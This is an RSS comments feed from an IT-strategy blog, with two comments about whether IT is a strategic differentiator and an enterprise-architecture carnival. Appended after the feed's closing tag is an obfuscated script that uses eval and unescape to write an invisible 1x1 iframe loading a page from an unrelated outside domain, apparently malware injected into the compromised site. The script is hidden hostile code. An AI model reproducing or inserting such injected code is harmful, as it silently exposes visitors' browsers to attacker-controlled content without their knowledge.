<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: IT Does Matter</title>
	<atom:link href="http://ITStrategyBlog.com/it-does-matter/feed/" rel="self" type="application/rss+xml" />
	<link>http://ITStrategyBlog.com/it-does-matter/</link>
	<description>Raj Sheelvant&#039;s blog on using Information Technology to create and sustain competitive advantage for the businesses</description>
	<lastBuildDate>Wed, 17 Mar 2010 09:23:48 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: wolske</title>
		<link>http://ITStrategyBlog.com/it-does-matter/comment-page-1/#comment-1744</link>
		<dc:creator>wolske</dc:creator>
		<pubDate>Tue, 30 Jun 2009 19:13:44 +0000</pubDate>
		<guid isPermaLink="false">http://itstrategyblog.com/?p=3#comment-1744</guid>
		<description>I think Carr&#039;s point might be better made with this question:

In 2009, name a company that is  using IT as a strategic differentiator?

Historically, some firms that excelled at IT and systems integration reaped great rewards, but I think Carr&#039;s point is that the big adoption/innovation period is long over.  Of course innovations may continue, but it&#039;s arguable whether such innovations are happening &quot;in&quot; IT.  IT will certainly be a part, but I almost wish that Enterprise Architecture could distance itself from it&#039;s IT origins, because I think it&#039;s holding Enterprise Architects back.</description>
		<content:encoded><![CDATA[<p>I think Carr&#8217;s point might be better made with this question:</p>
<p>In 2009, name a company that is  using IT as a strategic differentiator?</p>
<p>Historically, some firms that excelled at IT and systems integration reaped great rewards, but I think Carr&#8217;s point is that the big adoption/innovation period is long over.  Of course innovations may continue, but it&#8217;s arguable whether such innovations are happening &#8220;in&#8221; IT.  IT will certainly be a part, but I almost wish that Enterprise Architecture could distance itself from it&#8217;s IT origins, because I think it&#8217;s holding Enterprise Architects back.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Technology Architecture</title>
		<link>http://ITStrategyBlog.com/it-does-matter/comment-page-1/#comment-2</link>
		<dc:creator>Technology Architecture</dc:creator>
		<pubDate>Tue, 21 Aug 2007 07:01:24 +0000</pubDate>
		<guid isPermaLink="false">http://itstrategyblog.com/?p=3#comment-2</guid>
		<description>&lt;strong&gt;Carnival of Enterprise Architecture #7 - August 21, 2007&lt;/strong&gt;

Welcome to the August 21, 2007 edition of Carnival of Enterprise Architecture. enterprise architecture Pankaj Arora presents ROI from Enterprise Architecture posted at Architectural Thoughts. Vinay Pai presents SaaS Making Inroads in the Consumer Space...</description>
		<content:encoded><![CDATA[<p><strong>Carnival of Enterprise Architecture #7 &#8211; August 21, 2007</strong></p>
<p>Welcome to the August 21, 2007 edition of Carnival of Enterprise Architecture. enterprise architecture Pankaj Arora presents ROI from Enterprise Architecture posted at Architectural Thoughts. Vinay Pai presents SaaS Making Inroads in the Consumer Space&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.624 seconds -->
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>